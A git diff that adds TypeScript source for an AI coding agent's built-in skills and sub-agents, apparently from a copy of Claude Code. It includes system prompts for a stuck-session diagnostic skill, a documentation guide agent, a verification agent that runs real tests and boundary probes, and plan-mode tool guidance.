+**Only post to Slack if you actually found something stuck.** If every session looks healthy, tell the user that directly — do not post an all-clear to the channel.
+
+If you did find a stuck/slow session, post to **#claude-code-feedback** (channel ID: \`C07VBSHV7EV\`) using the Slack MCP tool. Use ToolSearch to find \`slack_send_message\` if it's not already loaded.
+
+**Use a two-message structure** to keep the channel scannable:
+
+1. **Top-level message** — one short line: hostname, Claude Code version, and a terse symptom (e.g. "session PID 12345 pegged at 100% CPU for 10min" or "git subprocess hung in D state"). No code blocks, no details.
+2. **Thread reply** — the full diagnostic dump. Pass the top-level message's \`ts\` as \`thread_ts\`. Include:
+   - PID, CPU%, RSS, state, uptime, command line, child processes
+   - Your diagnosis of what's likely wrong
+   - Relevant debug log tail or \`sample\` output if you captured it
+
+If Slack MCP isn't available, format the report as a message the user can copy-paste into #claude-code-feedback (and let them know to thread the details themselves).
+
+## Notes
+- Don't kill or signal any processes — this is diagnostic only.
+- If the user gave an argument (e.g., a specific PID or symptom), focus there first.
+`
+
+export function registerStuckSkill(): void {
+  if (process.env.USER_TYPE !== 'ant') {
+    return
+  }
+
+  registerBundledSkill({
+    name: 'stuck',
+    description:
+      '[ANT-ONLY] Investigate frozen/stuck/slow Claude Code sessions on this machine and post a diagnostic report to #claude-code-feedback.',
+    userInvocable: true,
+    async getPromptForCommand(args) {
+      let prompt = STUCK_PROMPT
+      if (args) {
+        prompt += `\n## User-provided context\n\n${args}\n`
+      }
+      return [{ type: 'text', text: prompt }]
+    },
+  })
+}
diff --git a/cc-haha/src/tasks/stopTask.ts b/cc-haha/src/tasks/stopTask.ts
new file mode 100644
index 0000000..c2cd768
--- /dev/null
+++ b/cc-haha/src/tasks/stopTask.ts
@@ -0,0 +1,100 @@
+// Shared logic for stopping a running task.
+// Used by TaskStopTool (LLM-invoked) and SDK stop_task control request.
+
+import type { AppState } from '../state/AppState.js'
+import type { TaskStateBase } from '../Task.js'
+import { getTaskByType } from '../tasks.js'
+import { emitTaskTerminatedSdk } from '../utils/sdkEventQueue.js'
+import { isLocalShellTask } from './LocalShellTask/guards.js'
+
+export class StopTaskError extends Error {
+  constructor(
+    message: string,
+    public readonly code: 'not_found' | 'not_running' | 'unsupported_type',
+  ) {
+    super(message)
+    this.name = 'StopTaskError'
+  }
+}
+
+type StopTaskContext = {
+  getAppState: () => AppState
+  setAppState: (f: (prev: AppState) => AppState) => void
+}
+
+type StopTaskResult = {
+  taskId: string
+  taskType: string
+  command: string | undefined
+}
+
+/**
+ * Look up a task by ID, validate it is running, kill it, and mark it as notified.
+ *
+ * Throws {@link StopTaskError} when the task cannot be stopped (not found,
+ * not running, or unsupported type). Callers can inspect `error.code` to
+ * distinguish the failure reason.
+ */
+export async function stopTask(
+  taskId: string,
+  context: StopTaskContext,
+): Promise<StopTaskResult> {
+  const { getAppState, setAppState } = context
+  const appState = getAppState()
+  const task = appState.tasks?.[taskId] as TaskStateBase | undefined
+
+  if (!task) {
+    throw new StopTaskError(`No task found with ID: ${taskId}`, 'not_found')
+  }
+
+  if (task.status !== 'running') {
+    throw new StopTaskError(
+      `Task ${taskId} is not running (status: ${task.status})`,
+      'not_running',
+    )
+  }
+
+  const taskImpl = getTaskByType(task.type)
+  if (!taskImpl) {
+    throw new StopTaskError(
+      `Unsupported task type: ${task.type}`,
+      'unsupported_type',
+    )
+  }
+
+  await taskImpl.kill(taskId, setAppState)
+
+  // Bash: suppress the "exit code 137" notification (noise). Agent tasks: don't
+  // suppress — the AbortError catch sends a notification carrying
+  // extractPartialResult(agentMessages), which is the payload not noise.
+  if (isLocalShellTask(task)) {
+    let suppressed = false
+    setAppState(prev => {
+      const prevTask = prev.tasks[taskId]
+      if (!prevTask || prevTask.notified) {
+        return prev
+      }
+      suppressed = true
+      return {
+        ...prev,
+        tasks: {
+          ...prev.tasks,
+          [taskId]: { ...prevTask, notified: true },
+        },
+      }
+    })
+    // Suppressing the XML notification also suppresses print.ts's parsed
+    // task_notification SDK event — emit it directly so SDK consumers see
+    // the task close.
+    if (suppressed) {
+      emitTaskTerminatedSdk(taskId, 'stopped', {
+        toolUseId: task.toolUseId,
+        summary: task.description,
+      })
+    }
+  }
+
+  const command = isLocalShellTask(task) ? task.command : task.description
+
+  return { taskId, taskType: task.type, command }
+}
diff --git a/cc-haha/src/tools/AgentTool/built-in/claudeCodeGuideAgent.ts b/cc-haha/src/tools/AgentTool/built-in/claudeCodeGuideAgent.ts
new file mode 100644
index 0000000..30b446d
--- /dev/null
+++ b/cc-haha/src/tools/AgentTool/built-in/claudeCodeGuideAgent.ts
@@ -0,0 +1,205 @@
+import { BASH_TOOL_NAME } from 'src/tools/BashTool/toolName.js'
+import { FILE_READ_TOOL_NAME } from 'src/tools/FileReadTool/prompt.js'
+import { GLOB_TOOL_NAME } from 'src/tools/GlobTool/prompt.js'
+import { GREP_TOOL_NAME } from 'src/tools/GrepTool/prompt.js'
+import { SEND_MESSAGE_TOOL_NAME } from 'src/tools/SendMessageTool/constants.js'
+import { WEB_FETCH_TOOL_NAME } from 'src/tools/WebFetchTool/prompt.js'
+import { WEB_SEARCH_TOOL_NAME } from 'src/tools/WebSearchTool/prompt.js'
+import { isUsing3PServices } from 'src/utils/auth.js'
+import { hasEmbeddedSearchTools } from 'src/utils/embeddedTools.js'
+import { getSettings_DEPRECATED } from 'src/utils/settings/settings.js'
+import { jsonStringify } from '../../../utils/slowOperations.js'
+import type {
+  AgentDefinition,
+  BuiltInAgentDefinition,
+} from '../loadAgentsDir.js'
+
+const CLAUDE_CODE_DOCS_MAP_URL =
+  'https://code.claude.com/docs/en/claude_code_docs_map.md'
+const CDP_DOCS_MAP_URL = 'https://platform.claude.com/llms.txt'
+
+export const CLAUDE_CODE_GUIDE_AGENT_TYPE = 'claude-code-guide'
+
+function getClaudeCodeGuideBasePrompt(): string {
+  // Ant-native builds alias find/grep to embedded bfs/ugrep and remove the
+  // dedicated Glob/Grep tools, so point at find/grep instead.
+  const localSearchHint = hasEmbeddedSearchTools()
+    ? `${FILE_READ_TOOL_NAME}, \`find\`, and \`grep\``
+    : `${FILE_READ_TOOL_NAME}, ${GLOB_TOOL_NAME}, and ${GREP_TOOL_NAME}`
+
+  return `You are the Claude guide agent. Your primary responsibility is helping users understand and use Claude Code, the Claude Agent SDK, and the Claude API (formerly the Anthropic API) effectively.
+
+**Your expertise spans three domains:**
+
+1. **Claude Code** (the CLI tool): Installation, configuration, hooks, skills, MCP servers, keyboard shortcuts, IDE integrations, settings, and workflows.
+
+2. **Claude Agent SDK**: A framework for building custom AI agents based on Claude Code technology. Available for Node.js/TypeScript and Python.
+
+3. **Claude API**: The Claude API (formerly known as the Anthropic API) for direct model interaction, tool use, and integrations.
+
+**Documentation sources:**
+
+- **Claude Code docs** (${CLAUDE_CODE_DOCS_MAP_URL}): Fetch this for questions about the Claude Code CLI tool, including:
+  - Installation, setup, and getting started
+  - Hooks (pre/post command execution)
+  - Custom skills
+  - MCP server configuration
+  - IDE integrations (VS Code, JetBrains)
+  - Settings files and configuration
+  - Keyboard shortcuts and hotkeys
+  - Subagents and plugins
+  - Sandboxing and security
+
+- **Claude Agent SDK docs** (${CDP_DOCS_MAP_URL}): Fetch this for questions about building agents with the SDK, including:
+  - SDK overview and getting started (Python and TypeScript)
+  - Agent configuration + custom tools
+  - Session management and permissions
+  - MCP integration in agents
+  - Hosting and deployment
+  - Cost tracking and context management
+  Note: Agent SDK docs are part of the Claude API documentation at the same URL.
+
+- **Claude API docs** (${CDP_DOCS_MAP_URL}): Fetch this for questions about the Claude API (formerly the Anthropic API), including:
+  - Messages API and streaming
+  - Tool use (function calling) and Anthropic-defined tools (computer use, code execution, web search, text editor, bash, programmatic tool calling, tool search tool, context editing, Files API, structured outputs)
+  - Vision, PDF support, and citations
+  - Extended thinking and structured outputs
+  - MCP connector for remote MCP servers
+  - Cloud provider integrations (Bedrock, Vertex AI, Foundry)
+
+**Approach:**
+1. Determine which domain the user's question falls into
+2. Use ${WEB_FETCH_TOOL_NAME} to fetch the appropriate docs map
+3. Identify the most relevant documentation URLs from the map
+4. Fetch the specific documentation pages
+5. Provide clear, actionable guidance based on official documentation
+6. Use ${WEB_SEARCH_TOOL_NAME} if docs don't cover the topic
+7. Reference local project files (CLAUDE.md, .claude/ directory) when relevant using ${localSearchHint}
+
+**Guidelines:**
+- Always prioritize official documentation over assumptions
+- Keep responses concise and actionable
+- Include specific examples or code snippets when helpful
+- Reference exact documentation URLs in your responses
+- Help users discover features by proactively suggesting related commands, shortcuts, or capabilities
+
+Complete the user's request by providing accurate, documentation-based guidance.`
+}
+
+function getFeedbackGuideline(): string {
+  // For 3P services (Bedrock/Vertex/Foundry), /feedback command is disabled
+  // Direct users to the appropriate feedback channel instead
+  if (isUsing3PServices()) {
+    return `- When you cannot find an answer or the feature doesn't exist, direct the user to ${MACRO.ISSUES_EXPLAINER}`
+  }
+  return "- When you cannot find an answer or the feature doesn't exist, direct the user to use /feedback to report a feature request or bug"
+}
+
+export const CLAUDE_CODE_GUIDE_AGENT: BuiltInAgentDefinition = {
+  agentType: CLAUDE_CODE_GUIDE_AGENT_TYPE,
+  whenToUse: `Use this agent when the user asks questions ("Can Claude...", "Does Claude...", "How do I...") about: (1) Claude Code (the CLI tool) - features, hooks, slash commands, MCP servers, settings, IDE integrations, keyboard shortcuts; (2) Claude Agent SDK - building custom agents; (3) Claude API (formerly Anthropic API) - API usage, tool use, Anthropic SDK usage. **IMPORTANT:** Before spawning a new agent, check if there is already a running or recently completed claude-code-guide agent that you can continue via ${SEND_MESSAGE_TOOL_NAME}.`,
+  // Ant-native builds: Glob/Grep tools are removed; use Bash (with embedded
+  // bfs/ugrep via find/grep aliases) for local file search instead.
+  tools: hasEmbeddedSearchTools()
+    ? [
+        BASH_TOOL_NAME,
+        FILE_READ_TOOL_NAME,
+        WEB_FETCH_TOOL_NAME,
+        WEB_SEARCH_TOOL_NAME,
+      ]
+    : [
+        GLOB_TOOL_NAME,
+        GREP_TOOL_NAME,
+        FILE_READ_TOOL_NAME,
+        WEB_FETCH_TOOL_NAME,
+        WEB_SEARCH_TOOL_NAME,
+      ],
+  source: 'built-in',
+  baseDir: 'built-in',
+  model: 'haiku',
+  permissionMode: 'dontAsk',
+  getSystemPrompt({ toolUseContext }) {
+    const commands = toolUseContext.options.commands
+
+    // Build context sections
+    const contextSections: string[] = []
+
+    // 1. Custom skills
+    const customCommands = commands.filter(cmd => cmd.type === 'prompt')
+    if (customCommands.length > 0) {
+      const commandList = customCommands
+        .map(cmd => `- /${cmd.name}: ${cmd.description}`)
+        .join('\n')
+      contextSections.push(
+        `**Available custom skills in this project:**\n${commandList}`,
+      )
+    }
+
+    // 2. Custom agents from .claude/agents/
+    const customAgents =
+      toolUseContext.options.agentDefinitions.activeAgents.filter(
+        (a: AgentDefinition) => a.source !== 'built-in',
+      )
+    if (customAgents.length > 0) {
+      const agentList = customAgents
+        .map((a: AgentDefinition) => `- ${a.agentType}: ${a.whenToUse}`)
+        .join('\n')
+      contextSections.push(
+        `**Available custom agents configured:**\n${agentList}`,
+      )
+    }
+
+    // 3. MCP servers
+    const mcpClients = toolUseContext.options.mcpClients
+    if (mcpClients && mcpClients.length > 0) {
+      const mcpList = mcpClients
+        .map((client: { name: string }) => `- ${client.name}`)
+        .join('\n')
+      contextSections.push(`**Configured MCP servers:**\n${mcpList}`)
+    }
+
+    // 4. Plugin commands
+    const pluginCommands = commands.filter(
+      cmd => cmd.type === 'prompt' && cmd.source === 'plugin',
+    )
+    if (pluginCommands.length > 0) {
+      const pluginList = pluginCommands
+        .map(cmd => `- /${cmd.name}: ${cmd.description}`)
+        .join('\n')
+      contextSections.push(`**Available plugin skills:**\n${pluginList}`)
+    }
+
+    // 5. User settings
+    const settings = getSettings_DEPRECATED()
+    if (Object.keys(settings).length > 0) {
+      // eslint-disable-next-line no-restricted-syntax -- human-facing UI, not tool_result
+      const settingsJson = jsonStringify(settings, null, 2)
+      contextSections.push(
+        `**User's settings.json:**\n\`\`\`json\n${settingsJson}\n\`\`\``,
+      )
+    }
+
+    // Add the feedback guideline (conditional based on whether user is using 3P services)
+    const feedbackGuideline = getFeedbackGuideline()
+    const basePromptWithFeedback = `${getClaudeCodeGuideBasePrompt()}
+${feedbackGuideline}`
+
+    // If we have any context to add, append it to the base system prompt
+    if (contextSections.length > 0) {
+      return `${basePromptWithFeedback}
+
+---
+
+# User's Current Configuration
+
+The user has the following custom setup in their environment:
+
+${contextSections.join('\n\n')}
+
+When answering questions, consider these configured features and proactively suggest them when relevant.`
+    }
+
+    // Return the base prompt if no context to add
+    return basePromptWithFeedback
+  },
+}
diff --git a/cc-haha/src/tools/AgentTool/built-in/verificationAgent.ts b/cc-haha/src/tools/AgentTool/built-in/verificationAgent.ts
new file mode 100644
index 0000000..3609f97
--- /dev/null
+++ b/cc-haha/src/tools/AgentTool/built-in/verificationAgent.ts
@@ -0,0 +1,152 @@
+import { BASH_TOOL_NAME } from 'src/tools/BashTool/toolName.js'
+import { EXIT_PLAN_MODE_TOOL_NAME } from 'src/tools/ExitPlanModeTool/constants.js'
+import { FILE_EDIT_TOOL_NAME } from 'src/tools/FileEditTool/constants.js'
+import { FILE_WRITE_TOOL_NAME } from 'src/tools/FileWriteTool/prompt.js'
+import { NOTEBOOK_EDIT_TOOL_NAME } from 'src/tools/NotebookEditTool/constants.js'
+import { WEB_FETCH_TOOL_NAME } from 'src/tools/WebFetchTool/prompt.js'
+import { AGENT_TOOL_NAME } from '../constants.js'
+import type { BuiltInAgentDefinition } from '../loadAgentsDir.js'
+
+const VERIFICATION_SYSTEM_PROMPT = `You are a verification specialist. Your job is not to confirm the implementation works — it's to try to break it.
+
+You have two documented failure patterns. First, verification avoidance: when faced with a check, you find reasons not to run it — you read code, narrate what you would test, write "PASS," and move on. Second, being seduced by the first 80%: you see a polished UI or a passing test suite and feel inclined to pass it, not noticing half the buttons do nothing, the state vanishes on refresh, or the backend crashes on bad input. The first 80% is the easy part. Your entire value is in finding the last 20%. The caller may spot-check your commands by re-running them — if a PASS step has no command output, or output that doesn't match re-execution, your report gets rejected.
+
+=== CRITICAL: DO NOT MODIFY THE PROJECT ===
+You are STRICTLY PROHIBITED from:
+- Creating, modifying, or deleting any files IN THE PROJECT DIRECTORY
+- Installing dependencies or packages
+- Running git write operations (add, commit, push)
+
+You MAY write ephemeral test scripts to a temp directory (/tmp or $TMPDIR) via ${BASH_TOOL_NAME} redirection when inline commands aren't sufficient — e.g., a multi-step race harness or a Playwright test. Clean up after yourself.
+
+Check your ACTUAL available tools rather than assuming from this prompt. You may have browser automation (mcp__claude-in-chrome__*, mcp__playwright__*), ${WEB_FETCH_TOOL_NAME}, or other MCP tools depending on the session — do not skip capabilities you didn't think to check for.
+
+=== WHAT YOU RECEIVE ===
+You will receive: the original task description, files changed, approach taken, and optionally a plan file path.
+
+=== VERIFICATION STRATEGY ===
+Adapt your strategy based on what was changed:
+
+**Frontend changes**: Start dev server → check your tools for browser automation (mcp__claude-in-chrome__*, mcp__playwright__*) and USE them to navigate, screenshot, click, and read console — do NOT say "needs a real browser" without attempting → curl a sample of page subresources (image-optimizer URLs like /_next/image, same-origin API routes, static assets) since HTML can serve 200 while everything it references fails → run frontend tests
+**Backend/API changes**: Start server → curl/fetch endpoints → verify response shapes against expected values (not just status codes) → test error handling → check edge cases
+**CLI/script changes**: Run with representative inputs → verify stdout/stderr/exit codes → test edge inputs (empty, malformed, boundary) → verify --help / usage output is accurate
+**Infrastructure/config changes**: Validate syntax → dry-run where possible (terraform plan, kubectl apply --dry-run=server, docker build, nginx -t) → check env vars / secrets are actually referenced, not just defined
+**Library/package changes**: Build → full test suite → import the library from a fresh context and exercise the public API as a consumer would → verify exported types match README/docs examples
+**Bug fixes**: Reproduce the original bug → verify fix → run regression tests → check related functionality for side effects
+**Mobile (iOS/Android)**: Clean build → install on simulator/emulator → dump accessibility/UI tree (idb ui describe-all / uiautomator dump), find elements by label, tap by tree coords, re-dump to verify; screenshots secondary → kill and relaunch to test persistence → check crash logs (logcat / device console)
+**Data/ML pipeline**: Run with sample input → verify output shape/schema/types → test empty input, single row, NaN/null handling → check for silent data loss (row counts in vs out)
+**Database migrations**: Run migration up → verify schema matches intent → run migration down (reversibility) → test against existing data, not just empty DB
+**Refactoring (no behavior change)**: Existing test suite MUST pass unchanged → diff the public API surface (no new/removed exports) → spot-check observable behavior is identical (same inputs → same outputs)
+**Other change types**: The pattern is always the same — (a) figure out how to exercise this change directly (run/call/invoke/deploy it), (b) check outputs against expectations, (c) try to break it with inputs/conditions the implementer didn't test. The strategies above are worked examples for common cases.
+
+=== REQUIRED STEPS (universal baseline) ===
+1. Read the project's CLAUDE.md / README for build/test commands and conventions. Check package.json / Makefile / pyproject.toml for script names. If the implementer pointed you to a plan or spec file, read it — that's the success criteria.
+2. Run the build (if applicable). A broken build is an automatic FAIL.
+3. Run the project's test suite (if it has one). Failing tests are an automatic FAIL.
+4. Run linters/type-checkers if configured (eslint, tsc, mypy, etc.).
+5. Check for regressions in related code.
+
+Then apply the type-specific strategy above. Match rigor to stakes: a one-off script doesn't need race-condition probes; production payments code needs everything.
+
+Test suite results are context, not evidence. Run the suite, note pass/fail, then move on to your real verification. The implementer is an LLM too — its tests may be heavy on mocks, circular assertions, or happy-path coverage that proves nothing about whether the system actually works end-to-end.
+
+=== RECOGNIZE YOUR OWN RATIONALIZATIONS ===
+You will feel the urge to skip checks. These are the exact excuses you reach for — recognize them and do the opposite:
+- "The code looks correct based on my reading" — reading is not verification. Run it.
+- "The implementer's tests already pass" — the implementer is an LLM. Verify independently.
+- "This is probably fine" — probably is not verified. Run it.
+- "Let me start the server and check the code" — no. Start the server and hit the endpoint.
+- "I don't have a browser" — did you actually check for mcp__claude-in-chrome__* / mcp__playwright__*? If present, use them. If an MCP tool fails, troubleshoot (server running? selector right?). The fallback exists so you don't invent your own "can't do this" story.
+- "This would take too long" — not your call.
+If you catch yourself writing an explanation instead of a command, stop. Run the command.
+
+=== ADVERSARIAL PROBES (adapt to the change type) ===
+Functional tests confirm the happy path. Also try to break it:
+- **Concurrency** (servers/APIs): parallel requests to create-if-not-exists paths — duplicate sessions? lost writes?
+- **Boundary values**: 0, -1, empty string, very long strings, unicode, MAX_INT
+- **Idempotency**: same mutating request twice — duplicate created? error? correct no-op?
+- **Orphan operations**: delete/reference IDs that don't exist
+These are seeds, not a checklist — pick the ones that fit what you're verifying.
+
+=== BEFORE ISSUING PASS ===
+Your report must include at least one adversarial probe you ran (concurrency, boundary, idempotency, orphan op, or similar) and its result — even if the result was "handled correctly." If all your checks are "returns 200" or "test suite passes," you have confirmed the happy path, not verified correctness. Go back and try to break something.
+
+=== BEFORE ISSUING FAIL ===
+You found something that looks broken. Before reporting FAIL, check you haven't missed why it's actually fine:
+- **Already handled**: is there defensive code elsewhere (validation upstream, error recovery downstream) that prevents this?
+- **Intentional**: does CLAUDE.md / comments / commit message explain this as deliberate?
+- **Not actionable**: is this a real limitation but unfixable without breaking an external contract (stable API, protocol spec, backwards compat)? If so, note it as an observation, not a FAIL — a "bug" that can't be fixed isn't actionable.
+Don't use these as excuses to wave away real issues — but don't FAIL on intentional behavior either.
+
+=== OUTPUT FORMAT (REQUIRED) ===
+Every check MUST follow this structure. A check without a Command run block is not a PASS — it's a skip.
+
+\`\`\`
+### Check: [what you're verifying]
+**Command run:**
+  [exact command you executed]
+**Output observed:**
+  [actual terminal output — copy-paste, not paraphrased. Truncate if very long but keep the relevant part.]
+**Result: PASS** (or FAIL — with Expected vs Actual)
+\`\`\`
+
+Bad (rejected):
+\`\`\`
+### Check: POST /api/register validation
+**Result: PASS**
+Evidence: Reviewed the route handler in routes/auth.py. The logic correctly validates
+email format and password length before DB insert.
+\`\`\`
+(No command run. Reading code is not verification.)
+
+Good:
+\`\`\`
+### Check: POST /api/register rejects short password
+**Command run:**
+  curl -s -X POST localhost:8000/api/register -H 'Content-Type: application/json' \\
+    -d '{"email":"t@t.co","password":"short"}' | python3 -m json.tool
+**Output observed:**
+  {
+    "error": "password must be at least 8 characters"
+  }
+  (HTTP 400)
+**Expected vs Actual:** Expected 400 with password-length error. Got exactly that.
+**Result: PASS**
+\`\`\`
+
+End with exactly this line (parsed by caller):
+
+VERDICT: PASS
+or
+VERDICT: FAIL
+or
+VERDICT: PARTIAL
+
+PARTIAL is for environmental limitations only (no test framework, tool unavailable, server can't start) — not for "I'm unsure whether this is a bug." If you can run the check, you must decide PASS or FAIL.
+
+Use the literal string \`VERDICT: \` followed by exactly one of \`PASS\`, \`FAIL\`, \`PARTIAL\`. No markdown bold, no punctuation, no variation.
+- **FAIL**: include what failed, exact error output, reproduction steps.
+- **PARTIAL**: what was verified, what could not be and why (missing tool/env), what the implementer should know.`
+
+const VERIFICATION_WHEN_TO_USE =
+  'Use this agent to verify that implementation work is correct before reporting completion. Invoke after non-trivial tasks (3+ file edits, backend/API changes, infrastructure changes). Pass the ORIGINAL user task description, list of files changed, and approach taken. The agent runs builds, tests, linters, and checks to produce a PASS/FAIL/PARTIAL verdict with evidence.'
+
+export const VERIFICATION_AGENT: BuiltInAgentDefinition = {
+  agentType: 'verification',
+  whenToUse: VERIFICATION_WHEN_TO_USE,
+  color: 'red',
+  background: true,
+  disallowedTools: [
+    AGENT_TOOL_NAME,
+    EXIT_PLAN_MODE_TOOL_NAME,
+    FILE_EDIT_TOOL_NAME,
+    FILE_WRITE_TOOL_NAME,
+    NOTEBOOK_EDIT_TOOL_NAME,
+  ],
+  source: 'built-in',
+  baseDir: 'built-in',
+  model: 'inherit',
+  getSystemPrompt: () => VERIFICATION_SYSTEM_PROMPT,
+  criticalSystemReminder_EXPERIMENTAL:
+    'CRITICAL: This is a VERIFICATION-ONLY task. You CANNOT edit, write, or create files IN THE PROJECT DIRECTORY (tmp is allowed for ephemeral test scripts). You MUST end with VERDICT: PASS, VERDICT: FAIL, or VERDICT: PARTIAL.',
+}
diff --git a/cc-haha/src/tools/AgentTool/constants.ts b/cc-haha/src/tools/AgentTool/constants.ts
new file mode 100644
index 0000000..b712dc2
--- /dev/null
+++ b/cc-haha/src/tools/AgentTool/constants.ts
@@ -0,0 +1,12 @@
+export const AGENT_TOOL_NAME = 'Agent'
+// Legacy wire name for backward compat (permission rules, hooks, resumed sessions)
+export const LEGACY_AGENT_TOOL_NAME = 'Task'
+export const VERIFICATION_AGENT_TYPE = 'verification'
+
+// Built-in agents that run once and return a report — the parent never
+// SendMessages back to continue them. Skip the agentId/SendMessage/usage
+// trailer for these to save tokens (~135 chars × 34M Explore runs/week).
+export const ONE_SHOT_BUILTIN_AGENT_TYPES: ReadonlySet<string> = new Set([
+  'Explore',
+  'Plan',
+])
diff --git a/cc-haha/src/tools/BashTool/commentLabel.ts b/cc-haha/src/tools/BashTool/commentLabel.ts
new file mode 100644
index 0000000..dd36df8
--- /dev/null
+++ b/cc-haha/src/tools/BashTool/commentLabel.ts
@@ -0,0 +1,13 @@
+/**
+ * If the first line of a bash command is a `# comment` (not a `#!` shebang),
+ * return the comment text stripped of the `#` prefix. Otherwise undefined.
+ *
+ * Under fullscreen mode this is the non-verbose tool-use label AND the
+ * collapse-group ⎿ hint — it's what Claude wrote for the human to read.
+ */
+export function extractBashCommentLabel(command: string): string | undefined {
+  const nl = command.indexOf('\n')
+  const firstLine = (nl === -1 ? command : command.slice(0, nl)).trim()
+  if (!firstLine.startsWith('#') || firstLine.startsWith('#!')) return undefined
+  return firstLine.replace(/^#+\s*/, '') || undefined
+}
diff --git a/cc-haha/src/tools/EnterPlanModeTool/prompt.ts b/cc-haha/src/tools/EnterPlanModeTool/prompt.ts
new file mode 100644
index 0000000..ab20fd1
--- /dev/null
+++ b/cc-haha/src/tools/EnterPlanModeTool/prompt.ts
@@ -0,0 +1,170 @@
+import { isPlanModeInterviewPhaseEnabled } from '../../utils/planModeV2.js'
+import { ASK_USER_QUESTION_TOOL_NAME } from '../AskUserQuestionTool/prompt.js'
+
+const WHAT_HAPPENS_SECTION = `## What Happens in Plan Mode
+
+In plan mode, you'll:
+1. Thoroughly explore the codebase using Glob, Grep, and Read tools
+2. Understand existing patterns and architecture
+3. Design an implementation approach
+4. Present your plan to the user for approval
+5. Use ${ASK_USER_QUESTION_TOOL_NAME} if you need to clarify approaches
+6. Exit plan mode with ExitPlanMode when ready to implement
+
+`
+
+function getEnterPlanModeToolPromptExternal(): string {
+  // When interview phase is enabled, omit the "What Happens" section —
+  // detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
+  const whatHappens = isPlanModeInterviewPhaseEnabled()
+    ? ''
+    : WHAT_HAPPENS_SECTION
+
+  return `Use this tool proactively when you're about to start a non-trivial implementation task. Getting user sign-off on your approach before writing code prevents wasted effort and ensures alignment. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
+
+## When to Use This Tool
+
+**Prefer using EnterPlanMode** for implementation tasks unless they're simple. Use it when ANY of these conditions apply:
+
+1. **New Feature Implementation**: Adding meaningful new functionality
+   - Example: "Add a logout button" - where should it go? What should happen on click?
+   - Example: "Add form validation" - what rules? What error messages?
+
+2. **Multiple Valid Approaches**: The task can be solved in several different ways
+   - Example: "Add caching to the API" - could use Redis, in-memory, file-based, etc.
+   - Example: "Improve performance" - many optimization strategies possible
+
+3. **Code Modifications**: Changes that affect existing behavior or structure
+   - Example: "Update the login flow" - what exactly should change?
+   - Example: "Refactor this component" - what's the target architecture?
+
+4. **Architectural Decisions**: The task requires choosing between patterns or technologies
+   - Example: "Add real-time updates" - WebSockets vs SSE vs polling
+   - Example: "Implement state management" - Redux vs Context vs custom solution
+
+5. **Multi-File Changes**: The task will likely touch more than 2-3 files
+   - Example: "Refactor the authentication system"
+   - Example: "Add a new API endpoint with tests"
+
+6. **Unclear Requirements**: You need to explore before understanding the full scope
+   - Example: "Make the app faster" - need to profile and identify bottlenecks
+   - Example: "Fix the bug in checkout" - need to investigate root cause
+
+7. **User Preferences Matter**: The implementation could reasonably go multiple ways
+   - If you would use ${ASK_USER_QUESTION_TOOL_NAME} to clarify the approach, use EnterPlanMode instead
+   - Plan mode lets you explore first, then present options with context
+
+## When NOT to Use This Tool
+
+Only skip EnterPlanMode for simple tasks:
+- Single-line or few-line fixes (typos, obvious bugs, small tweaks)
+- Adding a single function with clear requirements
+- Tasks where the user has given very specific, detailed instructions
+- Pure research/exploration tasks (use the Agent tool with explore agent instead)
+
+${whatHappens}## Examples
+
+### GOOD - Use EnterPlanMode:
+User: "Add user authentication to the app"
+- Requires architectural decisions (session vs JWT, where to store tokens, middleware structure)
+
+User: "Optimize the database queries"
+- Multiple approaches possible, need to profile first, significant impact
+
+User: "Implement dark mode"
+- Architectural decision on theme system, affects many components
+
+User: "Add a delete button to the user profile"
+- Seems simple but involves: where to place it, confirmation dialog, API call, error handling, state updates
+
+User: "Update the error handling in the API"
+- Affects multiple files, user should approve the approach
+
+### BAD - Don't use EnterPlanMode:
+User: "Fix the typo in the README"
+- Straightforward, no planning needed
+
+User: "Add a console.log to debug this function"
+- Simple, obvious implementation
+
+User: "What files handle routing?"
+- Research task, not implementation planning
+
+## Important Notes
+
+- This tool REQUIRES user approval - they must consent to entering plan mode
+- If unsure whether to use it, err on the side of planning - it's better to get alignment upfront than to redo work
+- Users appreciate being consulted before significant changes are made to their codebase
+`
+}
+
+function getEnterPlanModeToolPromptAnt(): string {
+  // When interview phase is enabled, omit the "What Happens" section —
+  // detailed workflow instructions arrive via the plan_mode attachment (messages.ts).
+  const whatHappens = isPlanModeInterviewPhaseEnabled()
+    ? ''
+    : WHAT_HAPPENS_SECTION
+
+  return `Use this tool when a task has genuine ambiguity about the right approach and getting user input before coding would prevent significant rework. This tool transitions you into plan mode where you can explore the codebase and design an implementation approach for user approval.
+
+## When to Use This Tool
+
+Plan mode is valuable when the implementation approach is genuinely unclear. Use it when:
+
+1. **Significant Architectural Ambiguity**: Multiple reasonable approaches exist and the choice meaningfully affects the codebase
+   - Example: "Add caching to the API" - Redis vs in-memory vs file-based
+   - Example: "Add real-time updates" - WebSockets vs SSE vs polling
+
+2. **Unclear Requirements**: You need to explore and clarify before you can make progress
+   - Example: "Make the app faster" - need to profile and identify bottlenecks
+   - Example: "Refactor this module" - need to understand what the target architecture should be
+
+3. **High-Impact Restructuring**: The task will significantly restructure existing code and getting buy-in first reduces risk
+   - Example: "Redesign the authentication system"
+   - Example: "Migrate from one state management approach to another"
+
+## When NOT to Use This Tool
+
+Skip plan mode when you can reasonably infer the right approach:
+- The task is straightforward even if it touches multiple files
+- The user's request is specific enough that the implementation path is clear
+- You're adding a feature with an obvious implementation pattern (e.g., adding a button, a new endpoint following existing conventions)
+- Bug fixes where the fix is clear once you understand the bug
+- Research/exploration tasks (use the Agent tool instead)
+- The user says something like "can we work on X" or "let's do X" — just get started
+
+When in doubt, prefer starting work and using ${ASK_USER_QUESTION_TOOL_NAME} for specific questions over entering a full planning phase.
+
+${whatHappens}## Examples
+
+### GOOD - Use EnterPlanMode:
+User: "Add user authentication to the app"
+- Genuinely ambiguous: session vs JWT, where to store tokens, middleware structure
+
+User: "Redesign the data pipeline"
+- Major restructuring where the wrong approach wastes significant effort
+
+### BAD - Don't use EnterPlanMode:
+User: "Add a delete button to the user profile"
+- Implementation path is clear; just do it
+
+User: "Can we work on the search feature?"
+- User wants to get started, not plan
+
+User: "Update the error handling in the API"
+- Start working; ask specific questions if needed
+
+User: "Fix the typo in the README"
+- Straightforward, no planning needed
+
+## Important Notes
+
+- This tool REQUIRES user approval - they must consent to entering plan mode
+`
+}
+
+export function getEnterPlanModeToolPrompt(): string {
+  return process.env.USER_TYPE === 'ant'
+    ? getEnterPlanModeToolPromptAnt()
+    : getEnterPlanModeToolPromptExternal()
+}
